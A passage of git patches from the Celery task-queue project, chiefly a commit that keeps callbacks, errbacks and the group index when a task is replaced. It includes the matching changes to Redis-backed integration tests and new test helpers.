assert g == original_list + assert g == original_list + + def test_repr(self): + def die(): + raise AssertionError("Generator died") + yield None + + # Confirm that `regen()` instances are not concretised when represented + g = regen(die()) + assert "..." in repr(g) + + def test_partial_reconcretisation(self): + class WeirdIterator(): + def __init__(self, iter_): + self.iter_ = iter_ + self._errored = False + + def __iter__(self): + yield from self.iter_ + if not self._errored: + try: + # This should stop the regen instance from marking + # itself as being done + raise AssertionError("Iterator errored") + finally: + self._errored = True + + original_list = list(range(42)) + g = regen(WeirdIterator(original_list)) + iter_g = iter(g) + for e in original_list: + assert e == next(iter_g) + with pytest.raises(AssertionError, match="Iterator errored"): + next(iter_g) + # The following checks are for the known "misbehaviour" + assert getattr(g, "_regen__done") is False + # If the `regen()` instance doesn't think it's done then it'll dupe the + # elements from the underlying iterator if it can be re-used + iter_g = iter(g) + for e in original_list * 2: + assert next(iter_g) == e + with pytest.raises(StopIteration): + next(iter_g) + assert getattr(g, "_regen__done") is True + # Finally we xfail this test to keep track of it + raise pytest.xfail(reason="#6794") + class test_head_from_fun: From 5d72aeedb6329b609469c63998e9335e017bd204 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Tue, 15 Jun 2021 14:24:48 +1000 Subject: [PATCH 247/415] fix: Preserve call/errbacks of replaced tasks (#6770) * style: Remove unused var from canvas unit tests * test: Check task ID re-freeze on replacement * refac: Remove duped task ID preservation logic * test: Rework canvas call/errback integration tests This change modifies a bunch of the tests to use unique keys for the `redis_echo` and `redis_count` tasks which are used to validate that callbacks and errbacks are made. We also introduce helper functions for validating that messages/counts are seen to reduce duplicate code. * fix: Preserve call/errbacks of replaced tasks Fixes #6441 * fix: Ensure replacement tasks get the group index This change adds some tests to ensure that when a task is replaced, it runs as expected. This exposed a bug where the group index of a task would be lost when replaced with a chain since chains would not pass their `group_index` option down to the final task when applied. This manifested as the results of chords being mis-ordered on the redis backend since the group index would default to `+inf`. Other backends may have had similar issues. --- celery/app/task.py | 57 ++- celery/canvas.py | 5 +- t/integration/tasks.py | 16 +- t/integration/test_canvas.py | 720 +++++++++++++++++++++++++---------- t/unit/tasks/test_canvas.py | 2 +- t/unit/tasks/test_tasks.py | 47 +-- 6 files changed, 587 insertions(+), 260 deletions(-) diff --git a/celery/app/task.py b/celery/app/task.py index 78025cc513a..1e50e613b58 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -6,9 +6,9 @@ from kombu.exceptions import OperationalError from kombu.utils.uuid import uuid -from celery import current_app, group, states +from celery import current_app, states from celery._state import _task_stack -from celery.canvas import _chain, signature +from celery.canvas import _chain, group, signature from celery.exceptions import (Ignore, ImproperlyConfigured, MaxRetriesExceededError, Reject, Retry) from celery.local import class_property @@ -893,41 +893,40 @@ def replace(self, sig): raise ImproperlyConfigured( "A signature replacing a task must not be part of a chord" ) + if isinstance(sig, _chain) and not getattr(sig, "tasks", True): + raise ImproperlyConfigured("Cannot replace with an empty chain") + # Ensure callbacks or errbacks from the replaced signature are retained if isinstance(sig, group): - sig |= self.app.tasks['celery.accumulate'].s(index=0).set( - link=self.request.callbacks, - link_error=self.request.errbacks, - ) - elif isinstance(sig, _chain): - if not sig.tasks: - raise ImproperlyConfigured( - "Cannot replace with an empty chain" - ) - - if self.request.chain: - # We need to freeze the new signature with the current task's ID to - # ensure that we don't disassociate the new chain from the existing - # task IDs which would break previously constructed results - # objects. - sig.freeze(self.request.id) - if "link" in sig.options: - final_task_links = sig.tasks[-1].options.setdefault("link", []) - final_task_links.extend(maybe_list(sig.options["link"])) - # Construct the new remainder of the task by chaining the signature - # we're being replaced by with signatures constructed from the - # chain elements in the current request. - for t in reversed(self.request.chain): - sig |= signature(t, app=self.app) - + # Groups get uplifted to a chord so that we can link onto the body + sig |= self.app.tasks['celery.accumulate'].s(index=0) + for callback in maybe_list(self.request.callbacks) or []: + sig.link(callback) + for errback in maybe_list(self.request.errbacks) or []: + sig.link_error(errback) + # If the replacement signature is a chain, we need to push callbacks + # down to the final task so they run at the right time even if we + # proceed to link further tasks from the original request below + if isinstance(sig, _chain) and "link" in sig.options: + final_task_links = sig.tasks[-1].options.setdefault("link", []) + final_task_links.extend(maybe_list(sig.options["link"])) + # We need to freeze the replacement signature with the current task's + # ID to ensure that we don't disassociate it from the existing task IDs + # which would break previously constructed results objects. + sig.freeze(self.request.id) + # Ensure the important options from the original signature are retained sig.set( chord=chord, group_id=self.request.group, group_index=self.request.group_index, root_id=self.request.root_id, ) - sig.freeze(self.request.id) - + # If the task being replaced is part of a chain, we need to re-create + # it with the replacement signature - these subsequent tasks will + # retain their original task IDs as well + for t in reversed(self.request.chain or []): + sig |= signature(t, app=self.app) + # Finally, either apply or delay the new signature! if self.request.is_eager: return sig.apply().get() else: diff --git a/celery/canvas.py b/celery/canvas.py index 9b32e832fd0..fb9c9640399 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -642,7 +642,8 @@ def apply_async(self, args=None, kwargs=None, **options): def run(self, args=None, kwargs=None, group_id=None, chord=None, task_id=None, link=None, link_error=None, publisher=None, - producer=None, root_id=None, parent_id=None, app=None, **options): + producer=None, root_id=None, parent_id=None, app=None, + group_index=None, **options): # pylint: disable=redefined-outer-name # XXX chord is also a class in outer scope. args = args if args else () @@ -656,7 +657,7 @@ def run(self, args=None, kwargs=None, group_id=None, chord=None, tasks, results_from_prepare = self.prepare_steps( args, kwargs, self.tasks, root_id, parent_id, link_error, app, - task_id, group_id, chord, + task_id, group_id, chord, group_index=group_index, ) if results_from_prepare: diff --git a/t/integration/tasks.py b/t/integration/tasks.py index d1b825fcf53..2cbe534fa4c 100644 --- a/t/integration/tasks.py +++ b/t/integration/tasks.py @@ -217,17 +217,17 @@ def retry_once_priority(self, *args, expires=60.0, max_retries=1, @shared_task -def redis_echo(message): +def redis_echo(message, redis_key="redis-echo"): """Task that appends the message to a redis list.""" redis_connection = get_redis_connection() - redis_connection.rpush('redis-echo', message) + redis_connection.rpush(redis_key, message) @shared_task -def redis_count(): - """Task that increments a well-known redis key.""" +def redis_count(redis_key="redis-count"): + """Task that increments a specified or well-known redis key.""" redis_connection = get_redis_connection() - redis_connection.incr('redis-count') + redis_connection.incr(redis_key) @shared_task(bind=True) @@ -295,6 +295,12 @@ def fail(*args): raise ExpectedException(*args) +@shared_task(bind=True) +def fail_replaced(self, *args): + """Replace this task with one which raises ExpectedException.""" + raise self.replace(fail.si(*args)) + + @shared_task def chord_error(*args): return args diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 02beb8550d4..267fa6e1adb 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1,3 +1,4 @@ +import collections import re import tempfile import uuid @@ -18,12 +19,12 @@ from .tasks import (ExpectedException, add, add_chord_to_chord, add_replaced, add_to_all, add_to_all_to_chord, build_chain_inside_task, chord_error, collect_ids, delayed_sum, - delayed_sum_with_soft_guard, fail, identity, ids, - print_unicode, raise_error, redis_count, redis_echo, - replace_with_chain, replace_with_chain_which_raises, - replace_with_empty_chain, retry_once, return_exception, - return_priority, second_order_replace1, tsum, - write_to_file_and_return_int) + delayed_sum_with_soft_guard, fail, fail_replaced, + identity, ids, print_unicode, raise_error, redis_count, + redis_echo, replace_with_chain, + replace_with_chain_which_raises, replace_with_empty_chain, + retry_once, return_exception, return_priority, + second_order_replace1, tsum, write_to_file_and_return_int) RETRYABLE_EXCEPTIONS = (OSError, ConnectionError, TimeoutError) @@ -43,6 +44,62 @@ def flaky(fn): return _timeout(_flaky(fn)) +def await_redis_echo(expected_msgs, redis_key="redis-echo", timeout=TIMEOUT): + """ + Helper to wait for a specified or well-known redis key to contain a string. + """ + redis_connection = get_redis_connection() + + if isinstance(expected_msgs, (str, bytes, bytearray)): + expected_msgs = (expected_msgs, ) + expected_msgs = collections.Counter( + e if not isinstance(e, str) else e.encode("utf-8") + for e in expected_msgs + ) + + # This can technically wait for `len(expected_msg_or_msgs) * timeout` :/ + while +expected_msgs: + maybe_key_msg = redis_connection.blpop(redis_key, timeout) + if maybe_key_msg is None: + raise TimeoutError( + "Fetching from {!r} timed out - still awaiting {!r}" + .format(redis_key, dict(+expected_msgs)) + ) + retrieved_key, msg = maybe_key_msg + assert retrieved_key.decode("utf-8") == redis_key + expected_msgs[msg] -= 1 # silently accepts unexpected messages + + # There should be no more elements - block momentarily + assert redis_connection.blpop(redis_key, min(1, timeout)) is None + + +def await_redis_count(expected_count, redis_key="redis-count", timeout=TIMEOUT): + """ + Helper to wait for a specified or well-known redis key to count to a value. + """ + redis_connection = get_redis_connection() + + check_interval = 0.1 + check_max = int(timeout / check_interval) + for i in range(check_max + 1): + maybe_count = redis_connection.get(redis_key) + # It's either `None` or a base-10 integer + if maybe_count is not None: + count = int(maybe_count) + if count == expected_count: + break + elif i >= check_max: + assert count == expected_count + # try again later + sleep(check_interval) + else: + raise TimeoutError("{!r} was never incremented".format(redis_key)) + + # There should be no more increments - block momentarily + sleep(min(1, timeout)) + assert int(redis_connection.get(redis_key)) == expected_count + + class test_link_error: @flaky def test_link_error_eager(self): @@ -476,19 +533,7 @@ def test_chain_replaced_with_a_chain_and_a_callback(self, manager): res = c.delay() assert res.get(timeout=TIMEOUT) == 'Hello world' - - expected_msgs = {link_msg, } - while expected_msgs: - maybe_key_msg = redis_connection.blpop('redis-echo', TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError('redis-echo') - _, msg = maybe_key_msg - msg = msg.decode() - expected_msgs.remove(msg) # KeyError if `msg` is not in here - - # There should be no more elements - block momentarily - assert redis_connection.blpop('redis-echo', min(1, TIMEOUT)) is None - redis_connection.delete('redis-echo') + await_redis_echo({link_msg, }) def test_chain_replaced_with_a_chain_and_an_error_callback(self, manager): if not manager.app.conf.result_backend.startswith('redis'): @@ -507,19 +552,7 @@ def test_chain_replaced_with_a_chain_and_an_error_callback(self, manager): with pytest.raises(ValueError): res.get(timeout=TIMEOUT) - - expected_msgs = {link_msg, } - while expected_msgs: - maybe_key_msg = redis_connection.blpop('redis-echo', TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError('redis-echo') - _, msg = maybe_key_msg - msg = msg.decode() - expected_msgs.remove(msg) # KeyError if `msg` is not in here - - # There should be no more elements - block momentarily - assert redis_connection.blpop('redis-echo', min(1, TIMEOUT)) is None - redis_connection.delete('redis-echo') + await_redis_echo({link_msg, }) def test_chain_with_cb_replaced_with_chain_with_cb(self, manager): if not manager.app.conf.result_backend.startswith('redis'): @@ -539,22 +572,11 @@ def test_chain_with_cb_replaced_with_chain_with_cb(self, manager): res = c.delay() assert res.get(timeout=TIMEOUT) == 'Hello world' + await_redis_echo({link_msg, 'Hello world'}) - expected_msgs = {link_msg, 'Hello world'} - while expected_msgs: - maybe_key_msg = redis_connection.blpop('redis-echo', TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError('redis-echo') - _, msg = maybe_key_msg - msg = msg.decode() - expected_msgs.remove(msg) # KeyError if `msg` is not in here - - # There should be no more elements - block momentarily - assert redis_connection.blpop('redis-echo', min(1, TIMEOUT)) is None - redis_connection.delete('redis-echo') - - @pytest.mark.xfail(reason="#6441") - def test_chain_with_eb_replaced_with_chain_with_eb(self, manager): + def test_chain_with_eb_replaced_with_chain_with_eb( + self, manager, subtests + ): if not manager.app.conf.result_backend.startswith('redis'): raise pytest.skip('Requires redis result backend.') @@ -565,30 +587,18 @@ def test_chain_with_eb_replaced_with_chain_with_eb(self, manager): outer_link_msg = 'External chain errback' c = chain( identity.s('Hello '), - # The replacement chain will pass its args though + # The replacement chain will die and break the encapsulating chain replace_with_chain_which_raises.s(link_msg=inner_link_msg), add.s('world'), ) - c.link_error(redis_echo.s(outer_link_msg)) + c.link_error(redis_echo.si(outer_link_msg)) res = c.delay() - with pytest.raises(ValueError): - res.get(timeout=TIMEOUT) - - expected_msgs = {inner_link_msg, outer_link_msg} - while expected_msgs: - # Shorter timeout here because we expect failure - timeout = min(5, TIMEOUT) - maybe_key_msg = redis_connection.blpop('redis-echo', timeout) - if maybe_key_msg is None: - raise TimeoutError('redis-echo') - _, msg = maybe_key_msg - msg = msg.decode() - expected_msgs.remove(msg) # KeyError if `msg` is not in here - - # There should be no more elements - block momentarily - assert redis_connection.blpop('redis-echo', min(1, TIMEOUT)) is None - redis_connection.delete('redis-echo') + with subtests.test(msg="Chain fails due to a child task dying"): + with pytest.raises(ValueError): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Chain and child task callbacks are called"): + await_redis_echo({inner_link_msg, outer_link_msg}) def test_replace_chain_with_empty_chain(self, manager): r = chain(identity.s(1), replace_with_empty_chain.s()).delay() @@ -597,6 +607,152 @@ def test_replace_chain_with_empty_chain(self, manager): match="Cannot replace with an empty chain"): r.get(timeout=TIMEOUT) + def test_chain_children_with_callbacks(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + callback = redis_count.si(redis_key=redis_key) + + child_task_count = 42 + child_sig = identity.si(1337) + child_sig.link(callback) + chain_sig = chain(child_sig for _ in range(child_task_count)) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain executes as expected"): + res_obj = chain_sig() + assert res_obj.get(timeout=TIMEOUT) == 1337 + with subtests.test(msg="Chain child task callbacks are called"): + await_redis_count(child_task_count, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_chain_children_with_errbacks(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + errback = redis_count.si(redis_key=redis_key) + + child_task_count = 42 + child_sig = fail.si() + child_sig.link_error(errback) + chain_sig = chain(child_sig for _ in range(child_task_count)) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain fails due to a child task dying"): + res_obj = chain_sig() + with pytest.raises(ExpectedException): + res_obj.get(timeout=TIMEOUT) + with subtests.test(msg="Chain child task errbacks are called"): + # Only the first child task gets a change to run and fail + await_redis_count(1, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_chain_with_callback_child_replaced(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + callback = redis_count.si(redis_key=redis_key) + + chain_sig = chain(add_replaced.si(42, 1337), identity.s()) + chain_sig.link(callback) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain executes as expected"): + res_obj = chain_sig() + assert res_obj.get(timeout=TIMEOUT) == 42 + 1337 + with subtests.test(msg="Callback is called after chain finishes"): + await_redis_count(1, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_chain_with_errback_child_replaced(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + errback = redis_count.si(redis_key=redis_key) + + chain_sig = chain(add_replaced.si(42, 1337), fail.s()) + chain_sig.link_error(errback) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain executes as expected"): + res_obj = chain_sig() + with pytest.raises(ExpectedException): + res_obj.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after chain finishes"): + await_redis_count(1, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_chain_child_with_callback_replaced(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + callback = redis_count.si(redis_key=redis_key) + + child_sig = add_replaced.si(42, 1337) + child_sig.link(callback) + chain_sig = chain(child_sig, identity.s()) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain executes as expected"): + res_obj = chain_sig() + assert res_obj.get(timeout=TIMEOUT) == 42 + 1337 + with subtests.test(msg="Callback is called after chain finishes"): + await_redis_count(1, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_chain_child_with_errback_replaced(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + errback = redis_count.si(redis_key=redis_key) + + child_sig = fail_replaced.si() + child_sig.link_error(errback) + chain_sig = chain(child_sig, identity.si(42)) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain executes as expected"): + res_obj = chain_sig() + with pytest.raises(ExpectedException): + res_obj.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after chain finishes"): + await_redis_count(1, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_task_replaced_with_chain(self): + orig_sig = replace_with_chain.si(42) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == 42 + + def test_chain_child_replaced_with_chain_first(self): + orig_sig = chain(replace_with_chain.si(42), identity.s()) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == 42 + + def test_chain_child_replaced_with_chain_middle(self): + orig_sig = chain( + identity.s(42), replace_with_chain.s(), identity.s() + ) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == 42 + + def test_chain_child_replaced_with_chain_last(self): + orig_sig = chain(identity.s(42), replace_with_chain.s()) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == 42 + class test_result_set: @@ -818,20 +974,18 @@ def test_callback_called_by_group(self, manager, subtests): redis_connection = get_redis_connection() callback_msg = str(uuid.uuid4()).encode() - callback = redis_echo.si(callback_msg) + redis_key = str(uuid.uuid4()) + callback = redis_echo.si(callback_msg, redis_key=redis_key) group_sig = group(identity.si(42), identity.si(1337)) group_sig.link(callback) - redis_connection.delete("redis-echo") + redis_connection.delete(redis_key) with subtests.test(msg="Group result is returned"): res = group_sig.delay() assert res.get(timeout=TIMEOUT) == [42, 1337] with subtests.test(msg="Callback is called after group is completed"): - maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError("Callback was not called in time") - _, msg = maybe_key_msg - assert msg == callback_msg + await_redis_echo({callback_msg, }, redis_key=redis_key) + redis_connection.delete(redis_key) def test_errback_called_by_group_fail_first(self, manager, subtests): if not manager.app.conf.result_backend.startswith("redis"): @@ -839,21 +993,19 @@ def test_errback_called_by_group_fail_first(self, manager, subtests): redis_connection = get_redis_connection() errback_msg = str(uuid.uuid4()).encode() - errback = redis_echo.si(errback_msg) + redis_key = str(uuid.uuid4()) + errback = redis_echo.si(errback_msg, redis_key=redis_key) group_sig = group(fail.s(), identity.si(42)) group_sig.link_error(errback) - redis_connection.delete("redis-echo") + redis_connection.delete(redis_key) with subtests.test(msg="Error propagates from group"): res = group_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test(msg="Errback is called after group task fails"): - maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError("Errback was not called in time") - _, msg = maybe_key_msg - assert msg == errback_msg + await_redis_echo({errback_msg, }, redis_key=redis_key) + redis_connection.delete(redis_key) def test_errback_called_by_group_fail_last(self, manager, subtests): if not manager.app.conf.result_backend.startswith("redis"): @@ -861,21 +1013,19 @@ def test_errback_called_by_group_fail_last(self, manager, subtests): redis_connection = get_redis_connection() errback_msg = str(uuid.uuid4()).encode() - errback = redis_echo.si(errback_msg) + redis_key = str(uuid.uuid4()) + errback = redis_echo.si(errback_msg, redis_key=redis_key) group_sig = group(identity.si(42), fail.s()) group_sig.link_error(errback) - redis_connection.delete("redis-echo") + redis_connection.delete(redis_key) with subtests.test(msg="Error propagates from group"): res = group_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test(msg="Errback is called after group task fails"): - maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError("Errback was not called in time") - _, msg = maybe_key_msg - assert msg == errback_msg + await_redis_echo({errback_msg, }, redis_key=redis_key) + redis_connection.delete(redis_key) def test_errback_called_by_group_fail_multiple(self, manager, subtests): if not manager.app.conf.result_backend.startswith("redis"): @@ -883,7 +1033,8 @@ def test_errback_called_by_group_fail_multiple(self, manager, subtests): redis_connection = get_redis_connection() expected_errback_count = 42 - errback = redis_count.si() + redis_key = str(uuid.uuid4()) + errback = redis_count.si(redis_key=redis_key) # Include a mix of passing and failing tasks group_sig = group( @@ -891,29 +1042,155 @@ def test_errback_called_by_group_fail_multiple(self, manager, subtests): *(fail.s() for _ in range(expected_errback_count)), ) group_sig.link_error(errback) - redis_connection.delete("redis-count") + + redis_connection.delete(redis_key) with subtests.test(msg="Error propagates from group"): res = group_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test(msg="Errback is called after group task fails"): - check_interval = 0.1 - check_max = int(TIMEOUT * check_interval) - for i in range(check_max + 1): - maybe_count = redis_connection.get("redis-count") - # It's either `None` or a base-10 integer - count = int(maybe_count or b"0") - if count == expected_errback_count: - # escape and pass - break - elif i < check_max: - # try again later - sleep(check_interval) - else: - # fail - assert count == expected_errback_count - else: - raise TimeoutError("Errbacks were not called in time") + await_redis_count(expected_errback_count, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_group_children_with_callbacks(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + callback = redis_count.si(redis_key=redis_key) + + child_task_count = 42 + child_sig = identity.si(1337) + child_sig.link(callback) + group_sig = group(child_sig for _ in range(child_task_count)) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain executes as expected"): + res_obj = group_sig() + assert res_obj.get(timeout=TIMEOUT) == [1337] * child_task_count + with subtests.test(msg="Chain child task callbacks are called"): + await_redis_count(child_task_count, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_group_children_with_errbacks(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + errback = redis_count.si(redis_key=redis_key) + + child_task_count = 42 + child_sig = fail.si() + child_sig.link_error(errback) + group_sig = group(child_sig for _ in range(child_task_count)) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain fails due to a child task dying"): + res_obj = group_sig() + with pytest.raises(ExpectedException): + res_obj.get(timeout=TIMEOUT) + with subtests.test(msg="Chain child task errbacks are called"): + await_redis_count(child_task_count, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_group_with_callback_child_replaced(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + callback = redis_count.si(redis_key=redis_key) + + group_sig = group(add_replaced.si(42, 1337), identity.si(31337)) + group_sig.link(callback) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain executes as expected"): + res_obj = group_sig() + assert res_obj.get(timeout=TIMEOUT) == [42 + 1337, 31337] + with subtests.test(msg="Callback is called after group finishes"): + await_redis_count(1, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_group_with_errback_child_replaced(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + errback = redis_count.si(redis_key=redis_key) + + group_sig = group(add_replaced.si(42, 1337), fail.s()) + group_sig.link_error(errback) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain executes as expected"): + res_obj = group_sig() + with pytest.raises(ExpectedException): + res_obj.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after group finishes"): + await_redis_count(1, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_group_child_with_callback_replaced(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + callback = redis_count.si(redis_key=redis_key) + + child_sig = add_replaced.si(42, 1337) + child_sig.link(callback) + group_sig = group(child_sig, identity.si(31337)) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain executes as expected"): + res_obj = group_sig() + assert res_obj.get(timeout=TIMEOUT) == [42 + 1337, 31337] + with subtests.test(msg="Callback is called after group finishes"): + await_redis_count(1, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_group_child_with_errback_replaced(self, manager, subtests): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + redis_key = str(uuid.uuid4()) + errback = redis_count.si(redis_key=redis_key) + + child_sig = fail_replaced.si() + child_sig.link_error(errback) + group_sig = group(child_sig, identity.si(42)) + + redis_connection.delete(redis_key) + with subtests.test(msg="Chain executes as expected"): + res_obj = group_sig() + with pytest.raises(ExpectedException): + res_obj.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after group finishes"): + await_redis_count(1, redis_key=redis_key) + redis_connection.delete(redis_key) + + def test_group_child_replaced_with_chain_first(self): + orig_sig = group(replace_with_chain.si(42), identity.s(1337)) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == [42, 1337] + + def test_group_child_replaced_with_chain_middle(self): + orig_sig = group( + identity.s(42), replace_with_chain.s(1337), identity.s(31337) + ) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == [42, 1337, 31337] + + def test_group_child_replaced_with_chain_last(self): + orig_sig = group(identity.s(42), replace_with_chain.s(1337)) + res_obj = orig_sig.delay() + assert res_obj.get(timeout=TIMEOUT) == [42, 1337] def assert_ids(r, expected_value, expected_root_id, expected_parent_id): @@ -1537,40 +1814,34 @@ def test_errback_called_by_chord_from_simple(self, manager, subtests): redis_connection = get_redis_connection() errback_msg = str(uuid.uuid4()).encode() - errback = redis_echo.si(errback_msg) + redis_key = str(uuid.uuid4()) + errback = redis_echo.si(errback_msg, redis_key=redis_key) child_sig = fail.s() chord_sig = chord((child_sig, ), identity.s()) chord_sig.link_error(errback) + redis_connection.delete(redis_key) with subtests.test(msg="Error propagates from simple header task"): - redis_connection.delete("redis-echo") res = chord_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test( msg="Errback is called after simple header task fails" ): - maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError("Errback was not called in time") - _, msg = maybe_key_msg - assert msg == errback_msg + await_redis_echo({errback_msg, }, redis_key=redis_key) chord_sig = chord((identity.si(42), ), child_sig) chord_sig.link_error(errback) + redis_connection.delete(redis_key) with subtests.test(msg="Error propagates from simple body task"): - redis_connection.delete("redis-echo") res = chord_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test( msg="Errback is called after simple body task fails" ): - maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError("Errback was not called in time") - _, msg = maybe_key_msg - assert msg == errback_msg + await_redis_echo({errback_msg, }, redis_key=redis_key) + redis_connection.delete(redis_key) def test_error_propagates_to_chord_from_chain(self, manager, subtests): try: @@ -1602,44 +1873,38 @@ def test_errback_called_by_chord_from_chain(self, manager, subtests): redis_connection = get_redis_connection() errback_msg = str(uuid.uuid4()).encode() - errback = redis_echo.si(errback_msg) + redis_key = str(uuid.uuid4()) + errback = redis_echo.si(errback_msg, redis_key=redis_key) child_sig = chain(identity.si(42), fail.s(), identity.si(42)) chord_sig = chord((child_sig, ), identity.s()) chord_sig.link_error(errback) + redis_connection.delete(redis_key) with subtests.test( msg="Error propagates from header chain which fails before the end" ): - redis_connection.delete("redis-echo") res = chord_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test( msg="Errback is called after header chain which fails before the end" ): - maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError("Errback was not called in time") - _, msg = maybe_key_msg - assert msg == errback_msg + await_redis_echo({errback_msg, }, redis_key=redis_key) chord_sig = chord((identity.si(42), ), child_sig) chord_sig.link_error(errback) + redis_connection.delete(redis_key) with subtests.test( msg="Error propagates from body chain which fails before the end" ): - redis_connection.delete("redis-echo") res = chord_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test( msg="Errback is called after body chain which fails before the end" ): - maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError("Errback was not called in time") - _, msg = maybe_key_msg - assert msg == errback_msg + await_redis_echo({errback_msg, }, redis_key=redis_key) + redis_connection.delete(redis_key) def test_error_propagates_to_chord_from_chain_tail(self, manager, subtests): try: @@ -1671,44 +1936,38 @@ def test_errback_called_by_chord_from_chain_tail(self, manager, subtests): redis_connection = get_redis_connection() errback_msg = str(uuid.uuid4()).encode() - errback = redis_echo.si(errback_msg) + redis_key = str(uuid.uuid4()) + errback = redis_echo.si(errback_msg, redis_key=redis_key) child_sig = chain(identity.si(42), fail.s()) chord_sig = chord((child_sig, ), identity.s()) chord_sig.link_error(errback) + redis_connection.delete(redis_key) with subtests.test( msg="Error propagates from header chain which fails at the end" ): - redis_connection.delete("redis-echo") res = chord_sig.delay() with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) with subtests.test( msg="Errback is called after header chain which fails at the end" ): - maybe_key_msg = redis_connection.blpop("redis-echo", TIMEOUT) - if maybe_key_msg is None: - raise TimeoutError("Errback was not called in time") - _, msg = maybe_key_msg - assert msg == errback_msg + await_redis_echo({errback_msg, }, redis_key=redis_key) chord_sig = chord((identity.si(42), ), child_sig) chord_sig.link_error(errback) + 